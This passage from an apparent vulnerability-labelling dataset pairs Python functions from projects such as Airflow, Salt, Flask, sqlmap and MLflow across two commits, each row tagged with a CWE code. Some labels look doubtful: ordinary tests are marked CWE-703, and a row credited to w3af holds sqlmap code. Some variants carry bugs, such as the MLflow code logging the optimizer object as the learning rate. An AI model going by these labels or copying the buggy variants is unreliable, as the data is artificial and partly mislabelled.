                os.kill(baseline_model.pid, signal.SIGTERM)

        if not validation_thresholds:
            return evaluate_result

        _logger.info(""Validating generated model metrics"")
        _validate(
            validation_thresholds,
            evaluate_result.metrics,
            evaluate_result.baseline_model_metrics,
        )
        _logger.info(""Model validation passed!"")

        return evaluate_result"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/stats.py,0,"def get_statsd_logger(cls) -> SafeStatsdLogger:
        """"""Returns logger for StatsD.""""""
        # no need to check for the scheduler/statsd_on -> this method is only called when it is set
        # and previously it would crash with None is callable if it was called without it.
        from statsd import StatsClient

        stats_class = conf.getimport(""metrics"", ""statsd_custom_client_path"", fallback=None)
        metrics_validator: ListValidator

        if stats_class:
            if not issubclass(stats_class, StatsClient):
                raise AirflowConfigException(
                    ""Your custom StatsD client must extend the statsd.StatsClient in order to ensure ""
                    ""backwards compatibility.""
                )
            else:
                log.info(""Successfully loaded custom StatsD client"")

        else:
            stats_class = StatsClient

        statsd = stats_class(
            host=conf.get(""metrics"", ""statsd_host""),
            port=conf.getint(""metrics"", ""statsd_port""),
            prefix=conf.get(""metrics"", ""statsd_prefix""),
        )
        if conf.get(""metrics"", ""metrics_allow_list"", fallback=None):
            metrics_validator = AllowListValidator(conf.get(""metrics"", ""metrics_allow_list""))
            if conf.get(""metrics"", ""metrics_block_list"", fallback=None):
                log.warning(
                    ""Ignoring metrics_block_list as both metrics_allow_list ""
                    ""and metrics_block_list have been set""
                )
        elif conf.get(""metrics"", ""metrics_block_list"", fallback=None):
            metrics_validator = BlockListValidator(conf.get(""metrics"", ""metrics_block_list""))
        else:
            metrics_validator = AllowListValidator()
        influxdb_tags_enabled = conf.getboolean(""metrics"", ""statsd_influxdb_enabled"", fallback=False)
        metric_tags_validator = BlockListValidator(conf.get(""metrics"", ""statsd_disabled_tags"", fallback=None))
        return SafeStatsdLogger(statsd, metrics_validator, influxdb_tags_enabled, metric_tags_validator)",CWE-Unknown,apache/airflow,6a6bff3edf16c9f2eec40cd0812fcdad3afcc201,"def get_statsd_logger(cls) -> SafeStatsdLogger:
        """"""Returns logger for StatsD.""""""
        # no need to check for the scheduler/statsd_on -> this method is only called when it is set
        # and previously it would crash with None is callable if it was called without it.
        from statsd import StatsClient

        stats_class = conf.getimport(""metrics"", ""statsd_custom_client_path"", fallback=None)
        metrics_validator: ListValidator

        if stats_class:
            if not issubclass(stats_class, StatsClient):
                raise AirflowConfigException(
                    ""Your custom StatsD client must extend the statsd.StatsClient in order to ensure ""
                    ""backwards compatibility.""
                )
            else:
                log.info(""Successfully loaded custom StatsD client"")

        else:
            stats_class = StatsClient

        statsd = stats_class(
            host=conf.get(""metrics"", ""statsd_host""),
            port=conf.getint(""metrics"", ""statsd_port""),
            prefix=conf.get(""metrics"", ""statsd_prefix""),
        )
        if conf.get(""metrics"", ""statsd_allow_list"", fallback=None):
            metrics_validator = AllowListValidator(conf.get(""metrics"", ""statsd_allow_list""))
            if conf.get(""metrics"", ""statsd_block_list"", fallback=None):
                log.warning(
                    ""Ignoring statsd_block_list as both statsd_allow_list and statsd_block_list have been set""
                )
        elif conf.get(""metrics"", ""statsd_block_list"", fallback=None):
            metrics_validator = BlockListValidator(conf.get(""metrics"", ""statsd_block_list""))
        else:
            metrics_validator = AllowListValidator()
        influxdb_tags_enabled = conf.getboolean(""metrics"", ""statsd_influxdb_enabled"", fallback=False)
        metric_tags_validator = BlockListValidator(conf.get(""metrics"", ""statsd_disabled_tags"", fallback=None))
        return SafeStatsdLogger(statsd, metrics_validator, influxdb_tags_enabled, metric_tags_validator)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/payload.py,0,"def __init__(self, opts):
        if isinstance(opts, dict):
            self.serial = opts.get('serial', 'msgpack')
        elif isinstance(opts, str):
            self.serial = opts
        else:
            self.serial = 'msgpack'",,saltstack/salt,49f89250d379e0202a46d549ca18831823b83f70,"def __init__(self, opts):
        if isinstance(opts, dict):
            self.serial = opts.get('serial', 'msgpack')
        elif isinstance(opts, str):
            self.serial = opts
        else:
            self.serial = 'msgpack'"
,UNKNOWN,UNKNOWN,helm_tests/airflow_aux/test_pod_template_file.py,1,"def test_termination_grace_period_seconds(self):
        docs = render_chart(
            values={
                ""workers"": {
                    ""terminationGracePeriodSeconds"": 123,
                },
            },
            show_only=[""templates/pod-template-file.yaml""],
            chart_dir=self.temp_chart_dir,
        )

        assert 123 == jmespath.search(""spec.terminationGracePeriodSeconds"", docs[0])",CWE-703,apache/airflow,9730dba0a0afa9f55167709b86626b0c8f445e9a,"def test_termination_grace_period_seconds(self):
        docs = render_chart(
            values={
                ""workers"": {
                    ""terminationGracePeriodSeconds"": 123,
                },
            },
            show_only=[""templates/pod-template-file.yaml""],
            chart_dir=self.temp_chart_dir,
        )

        assert 123 == jmespath.search(""spec.terminationGracePeriodSeconds"", docs[0])"
,UNKNOWN,UNKNOWN,dev/breeze/tests/test_selective_checks.py,1,"def assert_outputs_are_printed(expected_outputs: dict[str, str], stderr: str):
    escaped_stderr = escape_ansi_colors(stderr)
    received_output_as_dict = dict(line.split(""="", 1) for line in escaped_stderr.splitlines() if ""="" in line)
    for expected_key, expected_value in expected_outputs.items():
        if expected_value is None:
            if expected_key in received_output_as_dict:
                print_in_color(f""\n[red]ERROR: The '{expected_key}' should not be present in:[/]"")
                print_in_color(received_output_as_dict)
                print_in_color(""\n"")
                assert expected_key is not None

        else:
            received_value = received_output_as_dict.get(expected_key)
            if received_value != expected_value:
                if received_value is not None:
                    print_in_color(f""\n[red]ERROR: The key '{expected_key}' has unexpected value:"")
                    print(received_value)
                    print_in_color(""Expected value:\n"")
                    print(expected_value)
                    print_in_color(""\nOutput received:"")
                    print_in_color(received_output_as_dict)
                    print_in_color()
                    assert received_value == expected_value
                else:
                    print(
                        f""\n[red]ERROR: The key '{expected_key}' missing but ""
                        f""it is expected. Expected value:""
                    )
                    print_in_color(expected_value)
                    print_in_color(""\nOutput received:"")
                    print(received_output_as_dict)
                    print_in_color()
                    print(received_output_as_dict)
                    print_in_color()
                    assert received_value is not None",CWE-703,apache/airflow,667ec3b6e6b3a7ed5e7a17f2bb8ee6ed9afa21d6,"def assert_outputs_are_printed(expected_outputs: dict[str, str], stderr: str):
    escaped_stderr = escape_ansi_colors(stderr)
    received_output_as_dict = dict(line.split(""="", 1) for line in escaped_stderr.splitlines() if ""="" in line)
    for expected_key, expected_value in expected_outputs.items():
        if expected_value is None:
            if expected_key in received_output_as_dict:
                print_in_color(f""\n[red]ERROR: The '{expected_key}' should not be present in:[/]"")
                print_in_color(received_output_as_dict)
                print_in_color(""\n"")
                assert expected_key is not None

        else:
            received_value = received_output_as_dict.get(expected_key)
            if received_value != expected_value:
                if received_value is not None:
                    print_in_color(f""\n[red]ERROR: The key '{expected_key}' has unexpected value:"")
                    print(received_value)
                    print_in_color(""Expected value:\n"")
                    print(expected_value)
                    print_in_color(""\nOutput received:"")
                    print_in_color(received_output_as_dict)
                    print_in_color()
                    assert expected_value == received_value
                else:
                    print(
                        f""\n[red]ERROR: The key '{expected_key}' missing but ""
                        f""it is expected. Expected value:""
                    )
                    print_in_color(expected_value)
                    print_in_color(""\nOutput received:"")
                    print(received_output_as_dict)
                    print_in_color()
                    print(received_output_as_dict)
                    print_in_color()
                    assert received_value is not None"
,UNKNOWN,UNKNOWN,tests/test_helpers.py,1,"def test_send_file_last_modified(self):
        app = flask.Flask(__name__)
        last_modified = datetime.datetime(1999, 1, 1)

        @app.route('/')
        def index():
            return flask.send_file(StringIO(""party like it's""),
                                   last_modified=last_modified,
                                   mimetype='text/plain')

        c = app.test_client()
        rv = c.get('/')
        assert rv.last_modified == last_modified",CWE-703,pallets/flask,71e10be28665eee6a919045f9e5d8773508dc756,"def test_send_file_last_modified(self):
        app = flask.Flask(__name__)
        last_modified = datetime.datetime(1999, 1, 1)

        @app.route('/')
        def index():
            return flask.send_file(StringIO(""party like it's""), last_modified=last_modified)

        c = app.test_client()
        rv = c.get('/')
        assert rv.last_modified == last_modified"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/runner/action_plugins/assemble.py,0,"def run(self, conn, tmp, module_name, module_args, inject, complex_args=None, **kwargs):

        # load up options
        options  = {}
        if complex_args:
            options.update(complex_args)

        options.update(utils.parse_kv(module_args))

        src = options.get('src', None)
        dest = options.get('dest', None)
        delimiter = options.get('delimiter', None)
        remote_src = utils.boolean(options.get('remote_src', 'yes'))
        regexp = options.get('regexp', None)


        if src is None or dest is None:
            result = dict(failed=True, msg=""src and dest are required"")
            return ReturnData(conn=conn, comm_ok=False, result=result)

        if remote_src:
            return self.runner._execute_module(conn, tmp, 'assemble', module_args, inject=inject, complex_args=complex_args)
        elif '_original_file' in inject:
            src = utils.path_dwim_relative(inject['_original_file'], 'files', src, self.runner.basedir)
        else:
            # the source is local, so expand it here
            src = os.path.expanduser(src)

        _re = None
        if regexp is not None:
            _re = re.compile(regexp)

        # Does all work assembling the file
        path = self._assemble_from_fragments(src, delimiter, _re)

        pathmd5 = utils.md5s(path)
        remote_md5 = self.runner._remote_md5(conn, tmp, dest)

        if pathmd5 != remote_md5:
            resultant = file(path).read()
            if self.runner.diff:
                dest_result = self.runner._execute_module(conn, tmp, 'slurp', ""path=%s"" % dest, inject=inject, persist_files=True)
                if 'content' in dest_result.result:
                    dest_contents = dest_result.result['content']
                    if dest_result.result['encoding'] == 'base64':
                        dest_contents = base64.b64decode(dest_contents)
                    else:
                        raise Exception(""unknown encoding, failed: %s"" % dest_result.result)
            xfered = self.runner._transfer_str(conn, tmp, 'src', resultant)

            # fix file permissions when the copy is done as a different user
            if self.runner.sudo and self.runner.sudo_user != 'root' or self.runner.su and self.runner.su_user != 'root':
                self.runner._remote_chmod(conn, 'a+r', xfered, tmp)

            # run the copy module
            new_module_args = dict(
                src=xfered,
                dest=dest,
                original_basename=os.path.basename(src),
            )
            module_args_tmp = utils.merge_module_args(module_args, new_module_args)

            if self.runner.noop_on_check(inject):
                return ReturnData(conn=conn, comm_ok=True, result=dict(changed=True), diff=dict(before_header=dest, after_header=src, after=resultant))
            else:
                res = self.runner._execute_module(conn, tmp, 'copy', module_args_tmp, inject=inject)
                res.diff = dict(after=resultant)
                return res
        else:
            new_module_args = dict(
                src=xfered,
                dest=dest,
                original_basename=os.path.basename(src),
            )
            module_args_tmp = utils.merge_module_args(module_args, new_module_args)

            return self.runner._execute_module(conn, tmp, 'file', module_args_tmp, inject=inject)",,ansible/ansible,cdf938f2c2fb25032d09f135ecaebfc4c1bb5c5b,"def run(self, conn, tmp, module_name, module_args, inject, complex_args=None, **kwargs):

        # load up options
        options  = {}
        if complex_args:
            options.update(complex_args)

        options.update(utils.parse_kv(module_args))

        src = options.get('src', None)
        dest = options.get('dest', None)
        delimiter = options.get('delimiter', None)
        remote_src = utils.boolean(options.get('remote_src', 'yes'))
        regexp = options.get('regexp', None)


        if src is None or dest is None:
            result = dict(failed=True, msg=""src and dest are required"")
            return ReturnData(conn=conn, comm_ok=False, result=result)

        if remote_src:
            return self.runner._execute_module(conn, tmp, 'assemble', module_args, inject=inject, complex_args=complex_args)
        elif '_original_file' in inject:
            src = utils.path_dwim_relative(inject['_original_file'], 'files', src, self.runner.basedir)
        else:
            # the source is local, so expand it here
            src = os.path.expanduser(src)

        _re = None
        if regexp is not None:
            _re = re.compile(regexp)

        # Does all work assembling the file
        path = self._assemble_from_fragments(src, delimiter, _re)

        pathmd5 = utils.md5s(path)
        remote_md5 = self.runner._remote_md5(conn, tmp, dest)

        if pathmd5 != remote_md5:
            resultant = file(path).read()
            if self.runner.diff:
                dest_result = self.runner._execute_module(conn, tmp, 'slurp', ""path=%s"" % dest, inject=inject, persist_files=True)
                if 'content' in dest_result.result:
                    dest_contents = dest_result.result['content']
                    if dest_result.result['encoding'] == 'base64':
                        dest_contents = base64.b64decode(dest_contents)
                    else:
                        raise Exception(""unknown encoding, failed: %s"" % dest_result.result)
            xfered = self.runner._transfer_str(conn, tmp, 'src', resultant)

            # fix file permissions when the copy is done as a different user
            if self.runner.sudo and self.runner.sudo_user != 'root':
                self.runner._remote_chmod(conn, 'a+r', xfered, tmp)

            # run the copy module
            new_module_args = dict(
                src=xfered,
                dest=dest,
                original_basename=os.path.basename(src),
            )
            module_args_tmp = utils.merge_module_args(module_args, new_module_args)

            if self.runner.noop_on_check(inject):
                return ReturnData(conn=conn, comm_ok=True, result=dict(changed=True), diff=dict(before_header=dest, after_header=src, after=resultant))
            else:
                res = self.runner._execute_module(conn, tmp, 'copy', module_args_tmp, inject=inject)
                res.diff = dict(after=resultant)
                return res
        else:
            new_module_args = dict(
                src=xfered,
                dest=dest,
                original_basename=os.path.basename(src),
            )
            module_args_tmp = utils.merge_module_args(module_args, new_module_args)

            return self.runner._execute_module(conn, tmp, 'file', module_args_tmp, inject=inject)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/inject.py,0,"def __goInference(payload, expression):
    start   = time.time()

    if ( conf.eta or conf.threads > 1 ) and kb.dbms:
        _, length, _ = queryOutputLength(expression, payload)
    else:
        length = None

    dataToSessionFile(""[%s][%s][%s][%s]["" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))

    count, value = bisection(payload, expression, length=length)
    duration = int(time.time() - start)

    infoMsg = ""performed %d queries in %d seconds"" % (count, duration)
    logger.info(infoMsg)

    return value",,sqlmapproject/sqlmap,e5aa557bd413f2802e353c045686d2ad884661d7,"def __goInference(payload, expression):
    start   = time.time()

    dataToSessionFile(""[%s][%s][%s][%s]["" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))

    if ( conf.eta or conf.threads > 1 ) and kb.dbms:
        _, length, _ = queryOutputLength(expression, payload)
    else:
        length = None

    count, value = bisection(payload, expression, length=length)
    duration = int(time.time() - start)

    infoMsg = ""performed %d queries in %d seconds"" % (count, duration)
    logger.info(infoMsg)

    return value"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/models/expressions.py,0,"def get_group_by_cols(self, alias=None):
        expression = self.expression.copy()
        expression.output_field = self.output_field
        return expression.get_group_by_cols(alias=alias)",CWE-Unknown,django/django,ae6b24093c7ccc730850d11bbe93e1481ebd2912,"def get_group_by_cols(self, alias=None):
        expression = self.expression.copy()
        expression.output_field = self.output_field
        return expression.get_group_by_cols(alias=alias)"
,UNKNOWN,UNKNOWN,mlflow/keras.py,1,"def on_train_end(self, logs=None):
            try:
                mlflow.log_param('num_layers', len(self.model.layers))
                mlflow.log_param('optimizer_name', type(self.model.optimizer).__name__)
                if hasattr(self.model.optimizer, 'lr'):
                    lr = self.model.optimizer.lr if \
                        type(self.model.optimizer.lr) is float \
                        else keras.backend.eval(self.model.optimizer.lr)
                    mlflow.log_param('learning_rate', lr)
                if hasattr(self.model.optimizer, 'epsilon'):
                    epsilon = self.model.optimizer.epsilon if \
                        type(self.model.optimizer.epsilon) is float \
                        else keras.backend.eval(self.model.optimizer.epsilon)
                    mlflow.log_param('epsilon', epsilon)
                sum_list = []
                self.model.summary(print_fn=sum_list.append)
                summary = '\n'.join(sum_list)
                mlflow.set_tag('summary', summary)
                log_model(self.model, artifact_path='model')
            except mlflow.exceptions.MlflowException as e:
                warnings.warn(""Logging to Mlflow failed: "" + str(e))",CWE-94,mlflow/mlflow,f9420e025635e06e1fb7c53f0f46ba784357ddea,"def on_train_end(self, logs=None):
            try:
                mlflow.log_param('num_layers', len(self.model.layers))
                mlflow.log_param('optimizer_name', type(self.model.optimizer).__name__)
                if hasattr(self.model.optimizer, 'lr'):
                    lr = self.model.optimizer if \
                        type(self.model.optimizer.lr) is float \
                        else keras.backend.eval(self.model.optimizer.lr)
                    mlflow.log_param('learning_rate', lr)
                if hasattr(self.model.optimizer, 'epsilon'):
                    epsilon = self.model.optimizer if \
                        type(self.model.optimizer.epsilon) is float \
                        else keras.backend.eval(self.model.optimizer.epsilon)
                    mlflow.log_param('epsilon', epsilon)
                sum_list = []
                self.model.summary(print_fn=sum_list.append)
                summary = '\n'.join(sum_list)
                mlflow.set_tag('summary', summary)
                log_model(self.model, artifact_path='model')
            except mlflow.exceptions.MlflowException as e:
                warnings.warn(""Logging to Mlflow failed: "" + str(e))"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/web_test.py,0,"def connect(self, url, connection_close):
        # Use a raw connection so we can control the sending of data.
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
        s.connect((""127.0.0.1"", self.get_http_port()))
        stream = IOStream(s)
        stream.write(b""GET "" + url + b"" HTTP/1.1\r\nHost: 127.0.0.1\r\n"")
        if connection_close:
            stream.write(b""Connection: close\r\n"")
        stream.write(b""Transfer-Encoding: chunked\r\n\r\n"")
        return stream",CWE-Unknown,tornadoweb/tornado,4ce700affdd23631a0514d1a0460c0854b0687fe,"def connect(self, url, connection_close):
        # Use a raw connection so we can control the sending of data.
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
        s.connect((""127.0.0.1"", self.get_http_port()))
        stream = IOStream(s)
        stream.write(b""GET "" + url + b"" HTTP/1.1\r\n"")
        if connection_close:
            stream.write(b""Connection: close\r\n"")
        stream.write(b""Transfer-Encoding: chunked\r\n\r\n"")
        return stream"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/direct.py,0,"def direct(query, content=True):
    select = True
    query = agent.payloadDirect(query)
    query = agent.adjustLateValues(query)
    threadData = getCurrentThreadData()

    if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith(""SELECT "") and "" FROM "" not in query.upper():
        query = ""%s FROM DUAL"" % query

    for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
        for sqlStatement in sqlStatements:
            if query.lower().startswith(sqlStatement) and sqlTitle != ""SQL SELECT statement"":
                select = False
                break

    if select and not query.upper().startswith(""SELECT ""):
        query = ""SELECT %s"" % query

    logger.log(CUSTOM_LOGGING.PAYLOAD, query)

    output = hashDBRetrieve(query, True, True)
    start = time.time()

    if not select and ""EXEC "" not in query.upper():
        _ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
    elif not (output and ""sqlmapoutput"" not in query and ""sqlmapfile"" not in query):
        output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
        hashDBWrite(query, output, True)
    elif output:
        infoMsg = ""resumed: %s..."" % getUnicode(output, UNICODE_ENCODING)[:20]
        logger.info(infoMsg)
    threadData.lastQueryDuration = calculateDeltaSeconds(start)

    if not output:
        return output
    elif content:
        if output and isListLike(output):
            if len(output[0]) == 1:
                output = [_[0] for _ in output]

        retVal = getUnicode(output, noneToNull=True)
        return safecharencode(retVal) if kb.safeCharEncode else retVal
    else:
        return extractExpectedValue(output, EXPECTED.BOOL)",,andresriancho/w3af,b3a3491f866a353fd2de125a8fcb2b8d6628d908,"def direct(query, content=True):
    select = True
    query = agent.payloadDirect(query)
    query = agent.adjustLateValues(query)
    threadData = getCurrentThreadData()

    if Backend.isDbms(DBMS.ORACLE) and query.startswith(""SELECT "") and "" FROM "" not in query:
        query = ""%s FROM DUAL"" % query

    for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
        for sqlStatement in sqlStatements:
            if query.lower().startswith(sqlStatement) and sqlTitle != ""SQL SELECT statement"":
                select = False
                break

    if select and not query.upper().startswith(""SELECT ""):
        query = ""SELECT %s"" % query

    logger.log(CUSTOM_LOGGING.PAYLOAD, query)

    output = hashDBRetrieve(query, True, True)
    start = time.time()

    if not select and ""EXEC "" not in query:
        _ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
    elif not (output and ""sqlmapoutput"" not in query and ""sqlmapfile"" not in query):
        output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
        hashDBWrite(query, output, True)
    elif output:
        infoMsg = ""resumed: %s..."" % getUnicode(output, UNICODE_ENCODING)[:20]
        logger.info(infoMsg)
    threadData.lastQueryDuration = calculateDeltaSeconds(start)

    if not output:
        return output
    elif content:
        if output and isListLike(output):
            if len(output[0]) == 1:
                output = [_[0] for _ in output]

        retVal = getUnicode(output, noneToNull=True)
        return safecharencode(retVal) if kb.safeCharEncode else retVal
    else:
        return extractExpectedValue(output, EXPECTED.BOOL)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/sessions/sessionmanager.py,0,"def connection(self):
        """"""Start a database connection""""""
        if self._connection is None:
            self._connection = sqlite3.connect(':memory:')
            self._connection.row_factory = sqlite3.Row
        return self._connection",,jupyter/notebook,97e99d06617b13195eac4c60af0ec37eed0eb3a8,"def connection(self):
        """"""Start a database connection""""""
        if self._connection is None:
            self._connection = sqlite3.connect(':memory:')
            self._connection.row_factory = self.row_factory
        return self._connection"
,UNKNOWN,UNKNOWN,examples/tutorial/tests/test_db.py,1,"def test_get_close_db(app):
    with app.app_context():
        db = get_db()
        assert db is get_db()

    with pytest.raises(sqlite3.ProgrammingError) as e:
        db.execute('SELECT 1')

    assert 'closed' in str(e.value)","CWE-89, CWE-703",pallets/flask,043443d2d3432d8c182f059cf2f30967eda73d1f,"def test_get_close_db(app):
    with app.app_context():
        db = get_db()
        assert db is get_db()

    with pytest.raises(sqlite3.ProgrammingError) as e:
        db.execute('SELECT 1')

    assert 'closed' in str(e)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_schedule.py,1,"def test_purge(sock_dir, job1):
    """"""
    Test if it purge all the jobs currently scheduled on the minion.
    """"""
    _schedule_data = {""job1"": job1}
    patch_makedirs = patch(""os.makedirs"", MagicMock(return_value=True))
    patch_schedule_opts = patch.dict(
        schedule.__opts__, {""schedule"": {}, ""sock_dir"": sock_dir}
    )
    patch_schedule_event_fire = patch.dict(
        schedule.__salt__, {""event.fire"": MagicMock(return_value=True)}
    )
    patch_schedule_get_event = patch.object(
        SaltEvent, ""get_event"", return_value={""complete"": True, ""schedule"": {}}
    )
    patch_schedule_list = patch.object(
        schedule, ""list_"", MagicMock(return_value=_schedule_data)
    )

    with patch_makedirs, patch_schedule_opts, patch_schedule_event_fire, patch_schedule_get_event, patch_schedule_list:
        assert schedule.purge() == {
            ""comment"": [""Deleted job: job1 from schedule.""],
            ""changes"": {""job1"": ""removed""},
            ""result"": True,
        }

    _schedule_data = {""job1"": job1, ""job2"": job1, ""job3"": job1}
    comm = [
        ""Deleted job: job1 from schedule."",
        ""Deleted job: job2 from schedule."",
        ""Deleted job: job3 from schedule."",
    ]

    changes = {""job1"": ""removed"", ""job2"": ""removed"", ""job3"": ""removed""}

    patch_schedule_opts = patch.dict(
        schedule.__opts__, {""schedule"": {""job1"": ""salt""}, ""sock_dir"": sock_dir}
    )
    patch_schedule_list = patch.object(
        schedule, ""list_"", MagicMock(return_value=_schedule_data)
    )

    with patch_makedirs, patch_schedule_opts, patch_schedule_list:
        schedule_config_file = schedule._get_schedule_config_file()
        with patch(""salt.utils.files.fopen"", mock_open(read_data="""")) as fopen_mock:
            ret = schedule.purge(offline=True)
            assert any([True for item in comm if item in ret[""comment""]])
            assert ret[""changes""] == changes
            assert ret[""result""]

            _call = call(b""schedule: {}\n"")
            write_calls = fopen_mock.filehandles[schedule_config_file][
                0
            ].write._mock_mock_calls
            assert _call in write_calls",CWE-703,saltstack/salt,d447af668dee50f647e0f9553eea08122dc3e486,"def test_purge(sock_dir, job1):
    """"""
    Test if it purge all the jobs currently scheduled on the minion.
    """"""
    _schedule_data = {""job1"": job1}
    with patch.dict(schedule.__opts__, {""schedule"": {}, ""sock_dir"": sock_dir}):
        mock = MagicMock(return_value=True)
        with patch.dict(schedule.__salt__, {""event.fire"": mock}):
            _ret_value = {""complete"": True, ""schedule"": {}}
            with patch.object(SaltEvent, ""get_event"", return_value=_ret_value):
                with patch.object(
                    schedule, ""list_"", MagicMock(return_value=_schedule_data)
                ):
                    assert schedule.purge() == {
                        ""comment"": [""Deleted job: job1 from schedule.""],
                        ""changes"": {""job1"": ""removed""},
                        ""result"": True,
                    }

    _schedule_data = {""job1"": job1, ""job2"": job1, ""job3"": job1}
    comm = [
        ""Deleted job: job1 from schedule."",
        ""Deleted job: job2 from schedule."",
        ""Deleted job: job3 from schedule."",
    ]

    changes = {""job1"": ""removed"", ""job2"": ""removed"", ""job3"": ""removed""}

    schedule_config_file = schedule._get_schedule_config_file()
    with patch.dict(
        schedule.__opts__, {""schedule"": {""job1"": ""salt""}, ""sock_dir"": sock_dir}
    ):
        with patch(""salt.utils.files.fopen"", mock_open(read_data="""")) as fopen_mock:
            with patch.object(
                schedule, ""list_"", MagicMock(return_value=_schedule_data)
            ):
                ret = schedule.purge(offline=True)
                assert any([True for item in comm if item in ret[""comment""]])
                assert ret[""changes""] == changes
                assert ret[""result""]

                _call = call(b""schedule: {}\n"")
                write_calls = fopen_mock.filehandles[schedule_config_file][
                    0
                ].write._mock_mock_calls
                assert _call in write_calls"
,UNKNOWN,UNKNOWN,task-sdk/tests/task_sdk/log/test_log.py,1,"def test_json_rendering(captured_logs):
    """"""
    Test that the JSON formatter renders correctly.
    """"""
    logger = structlog.get_logger()

    secrets_masker = SecretsMasker()

    with mock.patch(""airflow.sdk.execution_time.secrets_masker._secrets_masker"", return_value=secrets_masker):
        logger.info(
            ""A test message with a Pydantic class"",
            pydantic_class=TaskInstance(
                id=UUID(""ffec3c8e-2898-46f8-b7d5-3cc571577368""),
                dag_id=""test_dag"",
                task_id=""test_task"",
                run_id=""test_run"",
                try_number=1,
                dag_version_id=UUID(""ffec3c8e-2898-46f8-b7d5-3cc571577368""),
            ),
        )
        assert captured_logs
        assert isinstance(captured_logs[0], bytes)
        assert json.loads(captured_logs[0]) == {
            ""event"": ""A test message with a Pydantic class"",
            ""pydantic_class"": ""TaskInstance(id=UUID('ffec3c8e-2898-46f8-b7d5-3cc571577368'), task_id='test_task', dag_id='test_dag', run_id='test_run', ""
            ""try_number=1, dag_version_id=UUID('ffec3c8e-2898-46f8-b7d5-3cc571577368'), map_index=-1, hostname=None, context_carrier=None)"",
            ""timestamp"": unittest.mock.ANY,
            ""level"": ""info"",
        }",CWE-703,apache/airflow,7ea7fcdda67bbbec7fd41977e24c7d3fc9055e91,"def test_json_rendering(captured_logs):
    """"""
    Test that the JSON formatter renders correctly.
    """"""
    logger = structlog.get_logger()

    secrets_masker = SecretsMasker()

    with mock.patch(""airflow.sdk.execution_time.secrets_masker._secrets_masker"", return_value=secrets_masker):
        logger.info(
            ""A test message with a Pydantic class"",
            pydantic_class=TaskInstance(
                id=UUID(""ffec3c8e-2898-46f8-b7d5-3cc571577368""),
                dag_id=""test_dag"",
                task_id=""test_task"",
                run_id=""test_run"",
                try_number=1,
            ),
        )
        assert captured_logs
        assert isinstance(captured_logs[0], bytes)
        assert json.loads(captured_logs[0]) == {
            ""event"": ""A test message with a Pydantic class"",
            ""pydantic_class"": ""TaskInstance(id=UUID('ffec3c8e-2898-46f8-b7d5-3cc571577368'), task_id='test_task', dag_id='test_dag', run_id='test_run', try_number=1, map_index=-1, hostname=None, context_carrier=None)"",
            ""timestamp"": unittest.mock.ANY,
            ""level"": ""info"",
        }"
,UNKNOWN,UNKNOWN,django/core/cache/backends/filebased.py,1,"def _key_to_file(self, key, version=None):
        """"""
        Convert a key into a cache file path. Basically this is the
        root cache path joined with the md5sum of the key and a suffix.
        """"""
        key = self.make_and_validate_key(key, version=version)
        return os.path.join(self._dir, ''.join(
            [hashlib.md5(key.encode()).hexdigest(), self.cache_suffix]))",CWE-327,django/django,42dfa97e191d8f7ffdc0b5d9502949ef3b8ef356,"def _key_to_file(self, key, version=None):
        """"""
        Convert a key into a cache file path. Basically this is the
        root cache path joined with the md5sum of the key and a suffix.
        """"""
        key = self.make_key(key, version=version)
        self.validate_key(key)
        return os.path.join(self._dir, ''.join(
            [hashlib.md5(key.encode()).hexdigest(), self.cache_suffix]))"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/parted_partition.py,0,"def _is_fstype(fs_type):
    """"""
    Check if file system type is supported in module
    :param fs_type: file system type
    :return: True if fs_type is supported in this module, False otherwise
    """"""
    return fs_type in set(
        [
            ""btrfs"",
            ""ext2"",
            ""ext3"",
            ""ext4"",
            ""fat32"",
            ""fat16"",
            ""linux-swap"",
            ""reiserfs"",
            ""hfs"",
            ""hfs+"",
            ""hfsx"",
            ""NTFS"",
            ""ntfs"",
            ""ufs"",
            ""xfs"",
        ]
    )",,saltstack/salt,084b3515323d39469cc457fa7fa73141a63dac65,"def _is_fstype(fs_type):
    """"""
    Check if file system type is supported in module
    :param fs_type: file system type
    :return: True if fs_type is supported in this module, False otherwise
    """"""
    return fs_type in set(
        [
            ""ext2"",
            ""ext3"",
            ""ext4"",
            ""fat32"",
            ""fat16"",
            ""linux-swap"",
            ""reiserfs"",
            ""hfs"",
            ""hfs+"",
            ""hfsx"",
            ""NTFS"",
            ""ntfs"",
            ""ufs"",
        ]
    )"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/operators/test_glue.py,1,"def test_execute_with_verbose_logging(
        self, mock_load_file, mock_get_conn, mock_initialize_job, mock_get_job_state, mock_print_job_logs
    ):
        glue = GlueJobOperator(
            task_id=TASK_ID,
            job_name=JOB_NAME,
            script_location=""s3_uri"",
            s3_bucket=""bucket_name"",
            iam_role_name=""role_arn"",
            verbose=True,
        )
        mock_initialize_job.return_value = {""JobRunState"": ""RUNNING"", ""JobRunId"": JOB_RUN_ID}
        mock_get_job_state.return_value = ""SUCCEEDED""

        glue.execute(mock.MagicMock())

        mock_initialize_job.assert_called_once_with({}, {})
        mock_print_job_logs.assert_called_once_with(
            job_name=JOB_NAME, run_id=JOB_RUN_ID, continuation_tokens=mock.ANY
        )
